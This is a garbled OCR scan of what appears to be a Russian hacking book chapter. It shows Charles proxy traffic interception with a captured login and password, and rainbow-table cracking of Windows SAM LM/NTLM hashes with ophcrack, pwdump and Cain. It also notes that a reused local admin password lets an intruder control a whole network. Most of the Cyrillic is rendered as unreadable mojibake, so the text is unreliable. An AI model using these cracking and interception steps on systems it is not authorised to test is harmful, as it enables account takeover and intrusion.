H OTJIaYuKa omHoBpemerHO (web debugging proxy). Ilporpamma HassmBaercs Charles
(http.//www.charlesproxy.com/)\. Xors OHa M IUIaTHad, HO ecTh Bepcua free trial, na u
KpdKH Xakep Bcerfa Haiiner B MHreprere. Teneps "oOMaHyTHie" MIpOBBIe IPHCTaBKH
TIPH oITpoce HaJIM4IMA OOGHOBJIEHHI BMecTo caifta Sony nmonajaiot B nporpammy Charles u
TIOJIy4aloT. MaKeT; 3a00T/IMBO 3aNMMCAaHHBI U OTPeJaKTHPOBaHHBIM XaKepoM IIPH TIEPBO-
HayalbHOM HacTpoike Bcero 3Toro mpouecca. Urposas npucraBka OTHBIHE BCerAa HaXo-
JTcs B 3a0)Ty>K/IEHMH, 9TO HOBBIX BEPCHIf IIPOrpaMMHOrO olecriedeHus Ijia ee "nepe-
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npomuBKkH" HeT. IIpu 3TOM coxpaHseTcs BO3MOXXHOCTh HOPMAIBHO paboOTaTh CO BCEMH
ocTajabHEIMU pecypcamu MHTepHeTa. I'ennansHo? VX 651 yM, na B "MHpHBIX" Hemsix!

I[enae'rca 3TO T4K: KOMaHJa map local B MPOrpaMMe NMpHMeHseTcs K ailly U3 makera
TIpY TOJy9eHMH TIEPBOHAYAIBHOTO OTBETa OT Sony Y yKa3pIBaeT Ha HCIOIb30BaHHE YXKe
JIOKQJIBHO ' PACTIONIOKEHHOTO,” OTPeJJaKTHPOBAHHOIO TaKoro e Qaiiia. Ilposeputs Ha-
cTpoiiKy MoxkHO B MeHIO Tools, a manee BriOpaB komanxy Map Local Settings.

B xadecTBe HEOGONIBIIOrO TeCTa, YTOOHI NMPOJEMOHCTPHPOBATH TOIBKO OIHY M3 BO3MOXK-
HOCTeif IIPOrpaMMBl, IIepeXBayeH M 3alMcaH MPOIeCC aBTOPU3aiMH Ha cepsepe B MHTep-
Hete ¢ uMeHeM GAF_GAF u maponem F%f onerh8 (puc. 6.12).

& ﬁ http://sitecheck2.opera.com -
& http:/flogin.rutracket.org gin_username=GAF_GAF&login_password=
forumf i onerh8&login="%C2%FS%EE%E4

Puc. 6.12

ITomumo Toro, uro Charles mosBomseT nepexsaThBaTh M 3aIMCHIBaTh (KHOMKa Start/Stop
Recording) naketsl, nmporpamMa npucroco6iena ux pegakruposars (Edit — mo memaxy
MpaBoOi KHOIKOM MBIIM Ha MAKeTe, IpAYeM MOXKHO B OT/ENIbHBIX ‘OKHAX PEAaKTHPOBATh
3aroJIOBKH I1aKeToB, B TOM umciie URL, TEKCT U T. A.), a TakxKe Mpu HeOOXOAUMOCTH yMe-
€T OBTOPHO ToCkLIaTh makeT (Repeat).

Hporpamma 0T06pa.)KaeT BECH Tpa(bm( B BHJIE MAIlOK C Ha3BaHMUEM ITOCEINAaEMBIX Yy3JI10B.
B KEDKI[OI/I MAarkKe COACPIKATCS 3alpOChl, KOTOpBIe OIIMCBhIBAIOT Bce COGBITI/ISI \CBSBaHH]:Ie
C JaHHbIM XOCTOM

Taxo#t mHCTpyMeHT Kak Charles He3ameHuM Juid Xakepa IIpH IPOBECHUH Be6-xa1<m1ra
(GecraTHas ansTepHaTHBA ~— Habop yrunut Burp Suite).

Ects Bepcry i 32- 1 64-paspsaueix Windows, a Taioke, 9T0 HEMaJIOBaXHO; 1yid Linux.

K Bonpocy o npumeHeHHN HpOTpaMM B MEDEEIX HEJIAX. B xadecTBe JOMaLIHero 3aJaHus
nonpoOyiiTe o0y4uTh NporpaMMy "He XOIOUThH" Ha KakOW-HUOyOs CaliT ¢ OMHOrO U3 Ba-
IMX AOMAIHMX KOMITbIoTepoB. Takas 3ajjaua MOXeT MMOHAaHOOWThEs BaM, YTOOHI Orpa-
IUTH peOeHKa, HAIPUMeEp, OT KOHKPETHOH OHIalH-Urphl. J{1s 5TOro nepBoHa4YaIbHO BbI-
nonmHuTe HAacTpoiky B Charles, yka3sIBaromIyio KOMITBIOTepy-kepTBe paboTaTh TOIBKO
yepe3 mpokcu-ceprep (ykakure [P-agpec kommbioTepa pebernka B MmeHio Proxy u nanee
BeIOepuTe Access Control Settings). HactpauBaTs koMIbioTep peGeHKa Ha paboTy depe3
MIPOKCH-CEpBEP BHI yXke yMeere (cm. 2nagy 3). Tomsko Temepb mcnons3yiite IP-ampec
KOMITBIOTEPA, Iie BBl ycraHoBwM Charles, a mopt ykaxwure 8888. Taxoit mopT ycTaHOB-
ner "mo ymomyanmio" B Charles, 1 310 MOXkHO mpoBepuTh B MeHIO Proxy | Proxy
Settings | Options. A o ToM, YTO 3anpelNeHHbIN CaliT ycTaHAaBIMBaeTCs B MeHIO Proxy |
Black List Settings, MBI BaM yrke mofcKa3sIBath He OyneM, pa3bepurech caMu (IIyTKa). -
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PagyXHble Tabnuubl,
WU He BCe B paAlyXXHOM LiBeTe

7.1. NMpakTUyeckoe NpUMeHeHne XaKkepom
paayXHbIX Tabnuy Ans B3noma

Meroasl X30IMpOBaHMA MApoJiedl Ui COXpaHEHUS MX B 0€30MacHOCTH NPHMEHSIOTCS
IaBHO. bezomacHocTh 00ecneaHBaack 3a CU4eT TOro, YTO XAM-(YHKIMS OHOHAINPABJICH-
Has (HeoOpaTuMas), ¥ BHIYHMCIIUATE NapoJTb, MMes TONBKO 3HA4YeHWE X3M-(pyHKIMH, MpaK-
THYECKH HEBO3MOXHO, TUOO BpeMs Ha ero BEIMUCIIEHHS OYEHb BEJIUKO.

" Korma mosBHiack BO3MOXKHOCTB OCYINECTBIIATH B3JIOM C NMPUMEHEHWEM paJy KHBIX Ta6-
yan (rainbow table), BceM mokazanock, 9TO0 BCE — YXOAWT B NMPONUIOE CTaphid AEHOB-
CKHMH METOJ 3aIIHTHI.

Ho e Bce Tak IpoCTO, H_JJIA TOrO YTOORI pa306pa'rbcx B 3TOM BOIpOCE, Mpejiaracm
IMPOBECTH HC6OJIBI]IOC HCCJICAOBaHUC BMECTEC C HAMH.

Boo61m1e-To, 3HAKOMCTBO C 3TOM TeMOii TpyIHO Oe3 pasnsicHeHus Teopur. Ho MeI xe 1o-
TOBOPHJIMCH — TOJIBKO HPAKTHKA, a IOTOMY — TOTIPO0YeM.

JlaBHO  M3BeCTHO, 9TO Ijis TOro 9roOsl oboiiTH mapois nonb3oBaresisi B Windows mpu
uMeroeiica PU3NIECKO BO3MOXKHOCTH AOCTYIIa K KOMITBIOTEPY, BO3MOXKHO 3arpy3HThCS
C 3arpy304YHOrO JMCKa CO CIEIMAIbHBIM MPOrpaMMHBIM ofecreueHueM (K MpHMepy —
yrwmra chntpw uis onepanmoHHON cHcTeMsl Linux) u ucnpaBuTh ¢aiii, coaeparuii
X3HI-YHKIIIO MapoJis, MPOCTO Jake cOpOCHB 3HaueHHe Xom-QyHKIHH. To ecTh hakTH-
YecKH CHeNaTh TaK, 9T065I MOXKHO GbLIO OCYIECTBHTH BXOX 63 mapons. B omeparmon-
HoOl cucTeme Windows mMapoinb JIOKAIBHOrO a/JMMHHCTPaToOpa, TOYHEE, €ro Xoll-
dyHxupIo, MOXHO HakTH B Qaiine Security Accounts Manager (Menemkep GesonacHocTd
Y9eTHBIX 3aImcei), T. . SAM — 3TO HekoTopas 6a3a, cofepamas B 3alIM(pOBaHHOM
BUJiE JaHHEIE, Tak HeoOXomumbie Xakepy. OOHYJIMTH Mapoiib JOCTATOYHO JIETKO, Hakis
sam-d¢atiin, Hanpumep, B karayiore C:\Windows\Staem32\Config. Ho cOpackiBaTs mapob
TPUBHAILHO M HE Tak MHTepecHo. Ceifdac, 3nech Ml He OyseM mpoGoBaTh Aenarh Io-
JobHoe.

IIpuBnekaTenpbHO He COPOCHTH Mapoib, a KaK-TO €ro y3HaTb. Tem Gonee, YTO MOIYYHB
JOCTYN K KOMIIBIOTEPY M BBEIMHCIMB NapoJb, TAKMM 00pa3oM 3OYMBINLIEHHUK CMOXET



PadyxHble mabnuubl, unu He ece 6 padyXHoM yseme ) 207

BOCIIONIE30BaThCs TIOJyYEHHBIM MApojieM W B JaibHellleM, B APYTHX CHCTEMaX, a He
TOJIBKO BO B3JIOMaHHOH. AIMAHHCTPATOPHI 3a4aCTyIO HCHOJB3YIOT OJIMH M TOT XK€ NapoJib
Ha pa3IMYHbIX CHCTEMaX. '

PaccMOTpUM X0poIIo W3BecTHYIo mporpammy opcrack (http://ophcrack.sourceforge.net/).
TousTHO, YTO BaM He TEPIHTCs NonpoboBaTk 3T0 Ha cBoeM Kommbiotepe. Ho He Topomm- -
TeCh, NEPBOHAYANILHO ISl SKCTIEPUMEHTa HaM ToHanoburcs ycrapesmas Windows XP.
3ameTHM cpasy: XOTs porpamMma BCKpEIBaeT naponb mo6oii cnoxrocTr Ha Windows XP
B CUUTaHHbIE MHHYTHI (cmoq}me ¥ NIPONHUCHBIE GYKBBI, CIIELCHMBOIIBL, L(PEI, TapOIH
JUIMHO# 8—12 CHMBONIOB — MakcHMyM MEHYT 32 40), TeM He MeHee, NeTh AUPHPaMObI
3TOM MporpamMme MEI Gbl He CTaA M [03XKe MOSCHAM — TI0YeMy. -

Ilpu ycraHOBKe IPOrpaMMBbI, YTOOBI HCKIIOUHTH MPOGIeMBl B NaIbHEHINEM, JTydile HH-
CTaJUIMPOBATh €€ I0Ka Ge3 pagyKHBIX TaGJMI: OTKOKATECH BO BPEMs YCTAHOBKH OT HX .
ckdumBanMs w3 VIHTepHeTa (B MEHIO YCTaHOBKH TpeGyercs cGpOCHTh (IaoK BO BCEX
crpokax Download...), Tem Gornee, 4TO cpeny yKa3aHHBIX B MEHIO YCTaHOBKH HET HYX-
HBIX HaM Jijis 9KcriepuMenTa Tabm (puc. 7.1).

# ophcrack 36.0Setup

| *Choose Components
Choose which features of ophcrack 3.6.0 you want to install.

i ophcrack (requured)

B} Download and Install Fast WinXP tables (703MB)
F] Download and Install free vista tables (461MB)

Puc. 7.1

Hanee HyxXHO ckauyaTh M3 VHTepHeTa pamyxHble Tabmumpl mo anpecy: http:/
ophcrack.sourceforge.net/tables.php.

BriGepem TaGmumt s Windows XP special (puc. 7.2).

Tabmaupt s Windows XP — xp_free_fast u xp_free_small, mpenpmaraembre s ckaun-

“BAHMA BO BPEMS YCTAHOBKH (CM. puc. 7.1) — xots W 3aHAMAIOT MeHBIIE MecTa, HO H
MeHee 3()PEeKTHBHBI XOTS 651 TIOTOMY, YTO He BKIIFOYAIOT B'ce0s XMI-(pyHKIHY napornei
CO CHELCHMBOJIAMH.
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Tonygennsie w3 ViaTepHera Tabmumpr xp_special pasmectiM mo myru C:\Program
Files\ophcrack\tables\xp_special. Hpn nojmodyeHnd Tabmu B Windows-Bepcun 1po-
TpaMMBI BO3MOXKHO BBIGaTh IyTh 10 HHX, HO TAOIMIEI MOTYT HE TIOJKTIOUHTECS, €CIH
BBI JUIs MIPOTPaMMEBI IPUMEHATE HHOH IMyTh, 9€M PEKOMEHIYeMBblii 371eCh (BUIMMO, H3-32.

6aroB). A Bot B Linux-Bepcun ImyTh MOXHO BBIOpaTh JH06OH, mpobiem He 6yeT.

B menio Tables nporpaMMsl ycTaHOBHM Kypcop Ha cTpodky XP special 1 HaxmeMm

kHonky Install (puc. 7.3).

Table Selection

- XP free fast

- @ Vista seven

- @ XP Aash

- & Vista eight XL
@ Vista special XL
- @ Vista probabii...
- & Vista probabik...

~ @ \ﬁstaprobd:i .

Puc. 7.3

not installed
not installed
not installed
not installed
not installed
not instalied
not installed
not installed
not installed
not installed
not installed
not instafted
not installed
not installed
nat installed
not installed
not installed
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not installed
not installed
Priogranm Fikes
on disk
on disk
on disk
ondisk\
@ %P german v1 not installed >
- @ %P german v2 not installed
& Vista special not installed
- Vista free not installed
& Vista nine not installed
- Vista eight not installed-
@ Vistanum notinstatied

- @ Vista seven not installed
@ XP flash not installed
- Vista eight XL not installed
¥ Vista special XL not installed
-# Vista probabii... not installed
@ Vista probabili... not installed
- @ Vista probabii... not installed

Puc. 7.4

|

Ecnu TaGmuupl MOAKIOYATCS YCIENIHO, TO CTAaTyC TAOJMIBI M3MEHHTCS Ha 3HAYeHHe
on disk (puc. 7.4).

HakoHel| IPHCTYITHM HEMOCPeCTBEHHO KO "B3110My". 31ech M Jasee OyneM ynoTpeGniTh
TepMHHEL, Goltee GIM3KHe XaKepy, B ASHCTBUTENEHOCTH JKe MBI IIPOBOJMM HCCIICIOBAHHE
Ha TECTOBOM MaTepnaJIe a B TEPMUHOJIOTHH CTHIVIMBBIX ABTOPOB OHH MAacKUPYIOT TaKue
NeHCTBHS CI0BaMM — "BOCCTaHOBJIEHHE 3a0BITHIX maposiei". MTak, y Hac ¢ BaMM 3KC-'
NepUMEHTAIBHBIH KOMITBIOTEP, M MBI 3arpy3uM sam-¢ail mpsmMo _ :
C:\Windows\Staem32\Config), BoiOpae B meHio Load cmnoco6 Local SAM with
pwdumpé (puc. 7.5).

ITocne Hakatus kxHomku Crack, pacronokeHHOH B NaHENH HHCTPYMEHTOB, IPOIECC
3aIyCTHTCS (pnc. 7.6).

’

Bce naponu Haiiens! 3a 28 MHHYT: PHC. 7.7 n 7.8 (HexoTOpHIe MapoJ Ha pHC. 7.7 cne-
OUAIFHO N3MEHEHBI).

B namem npumMepe napois nons3oBatens admin (12!@Ardx) mis 6pyrdopca nocrarod-
HO CJIOKHBIH: €CTh CIIELICHMBOJIBI, IM(PHI, CHMBOJIEI B BEpXHEM M HIDKHEM PETHCTpax,
HE CJIMIIKOM KOpOTKas NymHa. Bcé, kazanocs Obl, XOpOmIO, a BCE XKe ¢ MPUMEHEHHEM
payKHBIX Ta6mm OH B3JIOMaH 3a CUATaHHBIE MUHYTHI!

W uro xe? [Ta 3mpaBcTBytoT rainbow table?! Ho, He GynieM ToponMThCs. .Olca%mae'rc;l HE
BCE TaK YK M PaIy>HO...
Bynem pasbupatbcs panbie.
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& special  C:fProgram Files... - on disk

Puc. 7.5

ophcrack

75F1D23F3A252

Puc. 7.6
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31décfe0di6ae9
Puc. 7.7

11% in RAM

Ecnu cka3ats mpocTo, TO IPH CO3IaHUH PaXyXKHBIX TaOIHI] epe] MPOrpaMMHUCTOM CTOHT
3aflada CTeHEpHPOBATh BCE BO3MOXKHBIE MApOJIM M3 TOro Habopa CHMBOJIOB, KOTOpPBIE
MOTYT NIPUMEHSTHCS BO B3JIAMBIBAEMOM IIapoJie, M TOJBKO II0CIIE 3TOro CIELUaIbHbIM
.00pa3zoM mpeobpa3oBath MOIY4YEHHbIE JaHHBIC B TaKOH BHJ, YTOOBI OBICTPO HAXOIMTH
TpebyeMoe 3HaYeHHE. A BOT TYT MbI TOJOILIA K IJIaBHOMY: He CJIy4aifHO OBUT B3AT TAaKOH
NPOCTOH ciTydaii — IVl yCTapeBIIeH BepcHu Windows...

B pesynbrare nponeneHHm_x 9KCIIEpUMEHTOB NPUMEHEHHs opcrack BBl 3aMeTHIH, YTO
8 Windows XP napoiu JIOKaIbHBIX T0JIb30BaTeNeil Xpausres B ABYX gopmarax: LM-xsm
1 NTLM-xsm (3T0ro HeT B MocleAylommXx Bepcusix Windows, Tam yxe TONBKO OXHH
dopmar). Jlns gopmara LM-Xo11 HeT pasHHI MeXTy: CTPOUYHBIMM U IPOIMCHBIMH CHM-
BostiaMu. [ToaToMy KonmuecTBO KOMOMHAIWMIA Aposiei M X Xd5IieH, XpaHUMBIX B TaOJH-
I[aX, 3HAUMTE]ILHO MEHBINE JUIA B3JIOMa Napoisi, X3I-(QYHKIMA KOTOPOro XpaHUTCA
B ¢popmate LM-x3m. Tabmuirsr MOTyT HOy9UTHCS HEOOIBIIMMY, BpEMS B3JIOMa MEHbIIE.
Ha puc. 7.2 MbI BUiNM, 9TO paxy>kHbie TabuIbl pakTHdecku 111 Bcero Habopa CHMBO-
J0B (BK/IOUas nmpobest) 3aHuMaroT Beero 7,5 ['GaifT mpu BeposTHocTH yenexa 96%.

B Bukwurnenuu ecTs Xopomiee onpesiesieHne rainbow table: "smo cneyuanonviii éapuanm
mabnuy nOUCKA, UCNOTL3YIOWUT MEXAHUSM PAZYMHO20 KOMAPOMUCCA MEXNCOY 8peMeHeM
noucka no mabauye u 3anumaemoti namsameio”. Icxons U3 Bcero BHIIIECKA3aHHOTO, MBI
[IOHMMaeM, 4To A nocneqHux Bepcuit Windows tabmuiel 6yayT ropasgo 6oneine. ITo-
TOMY 4TO, IIOBTOPUMCS, BCE MOCIEAYIOIHEe BepCUH YxKe He xpaHsaT LM-xsm. Eciu BbI
U3yunTe caliT pa3paboTdMKoB opcrack, TO moiMere, YTO NpejiaraeMblii IMH Gecruiat-
HBIH Habop Tabmun Wi nociemyromux Bepcuii Windows (a2 BEIGOp TaM TOXe HEBEJIUK —
Vista') y>xe He Tak mose3eH. ITouTd monHel HaGOp (T. €. BKIIOYAIOMIMNA CIIEIICUMBOJIBI)
npeyIaraeTcs TOIbKO U 6-CHMBOBHBIX Maposieif. JUis B3IoMa CIIOXKHEIX naposeii Go-
Jiee coBpeMeHHBIX Bepcui Windows Hy)KHO HCKaTh ApYroil mMporpaMMHBI HHCTPYMEHT,

! Xors Bcé, yro moaxoaut taM mox Windows Vista, paGoraer u Ha Windows 7, 8...
1
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Tlonpo6yeMm nvmmTh ee (mporpammy) EM-xsma, i1 9ero B HameM Qaiiie yaaauM 310
3HayeHue. IIoBTOpHM 3KCTIEpHMMEHT 10 BOCCTAHOBJIEHHIO TIAPOJIS ¢ MporpamMMoii opcrack.
BckpeiTe aponk oHa y)ke He CMOXKET. DTO M He YIUBHUTENHHO: JEJIO B TOM, YTO TPH HC-
TOJIB30BaHMHU pamyxHbiX Tabmun i Windows XP mporpamma He paboTaeT TONBKQ
¢ NTLM-xsmem, eif 06s3atensHo Hyxed LM-xam. U s1o BHMIIHO B TIO[CKa3Ke IIpH I10A-
rpy3Ke OAMHOYHON X>m-(yHKIMH (pHC. 7. 10) '

Load Smgle Hash

Enter the hash you want to crack in the box below. The supported formats are:

<LM Hash>
<LM Hash>.<NT Hash>

| <User Name>:<User ID>:<LM Hash>:<NT Hash>:: (PWDUMP farmat)
]

Puc. 7.10
HUHTepecHo, 9TO MpeJCcTaBlIeHHe Xdm-QyHKimii B sam-daitnax Windows 7 wimu 8 Win-
dows 8 (u BeIIIE) ClleAyromIee (kak MBI ¥ FOBOPHIIH, TaM yxe Her LM-xa1ma):

test:1012: NO PASSWORDX ** %% k% %k kk k% ****k** : EOFBA38268DOEC66EF1CB452D5885E53: ¢ ¢

To ects, B Bepcuax Windows Bemme Windows XP B sam-¢aiine nocie username H
ero id Ha Mecte 3amdch LM-xsma (B cTapeiXx BepcHsX) IelaeTcs 3aliCh:
NO PASSWORD***** %%k % k% x*kkxkxk+* g yike Jiajiee, B CIeAYIOUEM Ioie (Bce Mo pasze-
JieHBI JBoeToqreM) — 3HadeHrne NTLM-xama.

TToCKONbKY Halla OCHOBHAs LEh — H3y4eHHE POrPaMMHOTO HHCTPYMEHTApHs, TIOMyT-
HO ellle OTMETHM, YTO paccMaTpHBaeMasi HAMH IporpamMma opcrack 1mpu 3arpyske JaHHBIX
u3 sam-gaiina (cM. puc. 7.5) ucnons3osaia yrwmty pwdump6. Brl xke it cBoux neneit
MOsKeTe TPUMEHATh Goliee mo3auue Bepcuu — pwdump7, pwdump8. IIporpamma pa6o-
TaeT, eCl ee 3aIyCKaeT MOJb30BaTellb C IPaBaMH aIMUHUCTPATOpa (IPH KCIIOB30BAHUH
3arpy309HOTO AUCKa 3TO HE TaK, [IOTOMY pealbHYIO KPaxy Iapoiis ¥ HPOBOMIAT C MpHMe-
HEHHEM 3arpy304HOr0 JHCKa, OCHAIEHHOro HeOGXOMMMBIM NPOrPAMMHBIM HHCTPYMEH-
ToM THna pwdump, opcrack).

Hamm 3KCIIepUMEHTHI OKa3aJ1H TIPaBIUBOCTD npe):[m:ynmx paccyXIeHHMiA: U B3lIoMa
Windows XP Hy>KHBI ropa3[jo MeHbIIHE IO 00BbeMy paay>KHEIE TaOHIEL, T. K. B AEHCT-
BHUTEJIHOCTH IEPBOHAYAIBHO IUIS MOKMCKA Mapoiii HMCmojib3yercs LM-Xom, d TOJBKO
HIOTOM YK€ YTOYHSETCA PErUCTp CHMBOJIOB ¢ moMombio NTLM-xsma. Kpome Toro, npo-
Bell BCE 3TH OMBITHL, MBI CTA/IM HEMHOTO JTydIlle MOHMMATh, Kak paboTalOT H3ydacMbIe
HaMH IPOrPaMMBI.

OTMeTHM, 9TO CEroJIHA elle MHOTHE GupMBL 1 nH,szm:[yyMH npumersior Windows XP.
"3a4yeM rHaThCS 32 HOBBIMH BEpPCHSAMH, — CUUTAIOT BIAJENbIIbl, — €CJIH KOrAa-To Oblia
KyIUIeHa JIMUIEH3HOHHas omnepainuonHas cucreMa Windows XP, koMmbioTep, riae oHa
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YCTaHOBIIEHA, BBITIONHSET CBOM LE/H, a i OGHOBIIEHHS BEDCHH HY)KHEI HEMAJTHIE J€Hb-
ru?!" (B o6meM, NOXBaJbHO CTPEMATCA COGMONATE 3aKOHEI H MCTIONB30BaTh JTHIICH3HOH-
HO€ MporpaMMHoe obecriedeHue. )

B nomo6Hol cHTyalmH JIErkO HCIONB30BaTh OIMHOKY aJMHHHUCTPATOPOB: OHHM CUMTAIOT,
YTO Ha HEBaXKHOM y9acCTKe IyCTh CTOMT KOMITBIOTEP CO CTaphIM IPOrpaMMHBIM obecre-
YEHHEM, HO 3a0bIBAIOT, YTO MCIONE3YIOT YYETHBIE 3alliCH C aIMAHHUCTPATHBHEIMH IIpa-
BaMM C OJMHAKOBHIM. I1apoJieM Kak Ha "He OTBETCTBEHHOM'" KOMIBIOTEpE, C ycTapeBLICH
OTEPAMOHHOM CHCTEMOM, TaK H B 6oJiee B)KHBIX MECTax C yxke 6ojiee CTONKMMH CHCTe-
Mamd. 3NOyMBILNUIEHHHK JIETKO MOAYy9HMT Napoiib JIOKATPHOTO aJMHHKCTpaTropa Ha
Windows XP u ¢ 3THUM maponieM CMOXeT "aIMHHHUCTPHPOBATh" YK€ BCIO CETh. JTO He
HaAyMaHHas CHTyallis, CKaKeM BaM IO CEKpETy — Ha NPAaKTHKE TaKoe CYIIEeCTBYET
TPaKTHYECKH Ha KaKaoM mary. JKaiko, 910 mpo Mofo6HOe. He MPHHATO pacckasbiBaTh
C MOAPOGHOCTAMH, HO MPHXOAWIOCH BHIETh Pe3y/bTaThl SKOHOMHMM BCEro JIMINb He-
CKOJIBKHX THICHY pyOsieH, W3-3a HEOPEKHOCTH aJAMHHHCTPATOPOB BEUTMBIIUXCA B LICHY
B HECKOJILKO MHJUTHOHOB. -

Eciu ke BB Gy/ieTe IPUMEHATH PacCMaTPUBAEMYIO HAMH TIPOrPaMMy Il TOrO, YTOGHI B
Ka4yecTBe HEKOTro IEHTECTHHIra IOKa3aTh XO3iMHY BCE DHCKH, TO JIydlne BCero Opath
opcrack-epcru 11 UNIX ¢ 3arpy3odHOro JHCKa M3 y)Ke H3BECTHOrO BaM KOMILIEKTa
BackTrack. Toraa nporpammy opcrack He HY)KHO HHCTAJUTMPOBATh Ha KOMIIBIOTEP XKepT-
BB, a pamy>kHble Tabmuupl ynoOHO momxmodars ¢ ¢uemku. MoxHO Bce cienath Ha
onHot ¢nemxe. Y mockonbKy MBI HM3yYaeM NpPOrpaMMHBI MHCTPYMEHT, €CTh IOBOJ
ynomsHyTh 0 mporpamme Universal USB- Installer, koTopas mOMOraeT M3roTaBlIMBaTh
3arpy304HbIe (pIEImIKH PaKTHIECKH A 060 OnepalioHHON CHCTEMBI CAMOCTOSTENb-
HO (http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/), puc. 7.11.

£ Universal USB Installes Setup

Setup your Selections Page
Choose a Linux Distro, ISOJZIP file and, your USB Flash Drive.

Puc. 7.11
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IlporpamMma B mprMeHeHuM pocTa: -Step 1 — BEIOGMpaeTca Hy)KHBINM THI ONEpaHOHHON
CHCTeMBI (MX TaM WIS BBIGOpa OTPOMHOE KOJUYECTBO); Step 2 — yKa3bIBaeTCs MyThb 10
iso-o6pasa mucka; Step 3 — ompenenseTcs JUCK, COOTBETCTBYIOMIMI (iem-KapTe.

Ho BepHeMcs k rainbow table. Ilpu u3ydeHHu nporpaMMHOro obecriedeHus, paborarole-
ro ¢ paxyXKHbIMH TabnMIlaMy, Helb3s He IONpOOOBaTh y)Ke He pa3 YIOMAHYTYIO HaMH
nporpamMy Cain w3 komiuiekta Cain & Abel. Toarpy3ute X3m-pyHKIHIO MOXHO
B MeHIO Cracker, merikoM mpaBoii KHOIIKO#M MBIIOHM Ha IycTOM moJjie BeIOpats Add to
list, Hy a anee ucmoIBE30BaTh BapHaHTHI (puc. 7.12).

ionary ]
Brute-Force Attack
Cryptanalysis Attack

Rainbowcrack-Online

ActiveSync Add HT Hashes from

Select All
Note

Test passward

-"g’ MD2 Hashes (0)
md MD4 Hashes (0)
-""," MDS Hashes (0) Remove Machine Accounts
S SHA-1 Hashes (0) _Remove Al
SHR SHA-2 Hashes (0):
- RIPEMD-160 Hashes
KerbS PreAuth Hashe:
Radius Shared-Key
G IKE-PSK Hashes (0)
MSSQL Hashes (0) -
MySQL Hashes (0)
(m

Export

Puc. 7.12

Cain OTHOCHTCS K YMCIly T€X HEMHOTHX MPOrpamMM, KOTOphie MOHMMAIOT GopMar pajyx-
HBIX TaGmum s operack. Ho Bor mpo6iema: Cain paGoTaeT TONMBKO B ABYX BapHaHTax
Tabmu s opcrack —. 6o LM-xom, ym6o NTLM-xsm. Bapuanra "LM-x3m mmoc
NTLM-xam" B el Het (puc. 7.13).

Taroke cpasy cKakeM: IOATPY3UTh, HalpuMep, TabuIm! Xp_special B Cain He ynanocs.

ITpoBepwm B3710M Wit mapojis abe ¢ momomsio Tabmn xp_free_fast, ncnoms3osas B Cain
Gatin, M3roTOBJICHHBIN HaAMH I MOJIb30BaTeN test (cM. Bbime). Jiia 3THX meinei Beibe-
peM: LM Hashes u nanee -via Rainbow Tables (OphCrack) (puc. 7.14).

Jlis Toro utoOBl yiiTH, HaKOHeIl, OT y)Ke Clierka mojHajoeBimeii opcrack, mompobyem
B Cain ocyImecTBUTE B3JIOM [IapoJisi, HCTIONB3ys GopMar Goltee pacrpocTpaHeHHBIX B MH-
TEPHETEe FOTOBBIX PajlyHEIX Tabunl. Kak mpaBiio, 310 (aiiiibl ¢ paCIIMPEHUIMH It U It
(compact).



216

asa'7

" Dictionary Attack
Brute-Force Attack

Rainbowcrack-Online

LM Hashes + chalg
HALFLM Hashes + chiteg

ActiveSync

NTLM Haghes

enge via RainbowTables (RainbowCrack)
via FastLM RainbowTables (Winrtgen)

. Select All
\ Note

NTLM Hash¥g + challend®

Test passwérd

k via RainbowTables (Winrtgen)

Add to list
Remove

Remove All

Remove Machine Accounts

Insert
Delete

owTables (O

via RainbowTables (RainbowCrack)

Export

Puc. 7.13

LM Hashes cryptanalysis

Loading

o

“\Knura\PaayxHsie Taémubiv1-opherack-win32-3.6.0\T a6 « atoi nporetables_sp_free_fa:

starting points of table 1
end points of table 1 ...
indexes of table 1 ... N
starting points of table 2 ...
end points of table 2 ...
indexes of table 2 ...
starting points of table 3 ...
end points of table 3 ...
indexes of table 3 ...

:
ryptanalysis completed

Puc. 7.14

B mamem npuMepe Ui Hadaga Mbl CKadai IIPOCTCHBKHE Taﬁ.IIHIIBI C TOPPEHTOB, TOIIbKO

LM-x511, 6e3 crieLicHMBOJIOB, 1St ImEbl 6—7 cuMBoIOB (pHc. 7.15).
IIOBTopnM B3JIOM Y)Ke C THMH B3STHIMH C TOPPEHTOB TabHIIaMH (pHC. 7.16).

Bce nomyumiiocs. ITpu 3ToM MBI He Aenaiy HAKaKuX HacTpoek B Cain ¢ mOMOIIBIO KHOII-
ku Charsets (cMm. puc. 7.16). O6 5THX HacTpoiikax, YT00bl HE OTATOIMATH TEKCT, 34eCh
IACaTh NOKa He OyaeM. -

Hakonen-To MbI Haydqwichk paboTats ¢ Goliee-MeHee CTaHIapTH3UPOBAHHEIMH HabopaMu
TaliHI1 (€C)IH, KOHEYHO, MOXKHO TaK BBIPA3HUTHCH).
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Rainbow tabies(pégymume Tabmupt) ana LM

Puc. 7.15

Reading ntlm m1xalpha—numenc—all-space#i-s 0_ 10000:-:11128?11 d:.strrtgen
178059376 bytes read in: 1.36 s

{Verif (OK)

Searching for 1 hash...

Plaintext of eUfbaSSZGBdOecGﬁef1ch452d5885953 is abe

Crvptanalys:.s tine: 0.98 s

Pwuc. 7.16



218 ) . : ‘ nasa 7

3akaHuuBas paccMorpenme Cain, CKaxeM, YTO HECMOTpA Ha BCIO CBOIO MOIIb, 3TO MO
HalleMy MHEHMIO He Jydilasd Iporpamma mjis paboTel ¢ pamykHbiMH TaGmmmamu. OHa
Xopoiia, ckopee, kak yde6Hasd. Eme Hy)kHO OTMeTHTb, YTO B mocieqHux Bepcuiax Cain
nosBwiachk ¢pyHkims Rainbowcerack-Online. Ho 3Ta 3agaya noveMy-To He akKTHBUPYeET-
cs, 3aTO 3TO HAallOMHWJIO HaM O ToM, 4To B HIHTepHeTe cymecTByIOT GeciuiaTHbIe (Ia U
IUIaTHBIE ToXe) online-cepBuchl Mt moAGopa napond no ero xsm-Qynkumm. He Gynem
ceifac 1aBaTh TOTOBBIX CCBLIOK, T. K. OHH OBICTPO ycTapeBarot. I[Tommure camu.

U BoT MBI mpHOIM3WINCH K TJIABHOMY: IUIABHO TiepeiiieM K- MOIIHe#ime# mporpamMmme
rcrack (http:/project-rainbowcrack.com/). Peamusanuit 310 nporpaMMbl MHOTO, B TOM
Yucle sl pasHBIX ONMEPAlMOHHBIX CHCTEM, €CTh U rpaduueckuii BapuaHT o1 Windows,
4 Bce GecmiatHo (puc. 7.17). '

4 Windows XP/Vista/7/8 320 @ n‘"DIA
windows XPNista/?lslﬁt_!b AMDa
Linux 32-bi.t (xéﬁ)

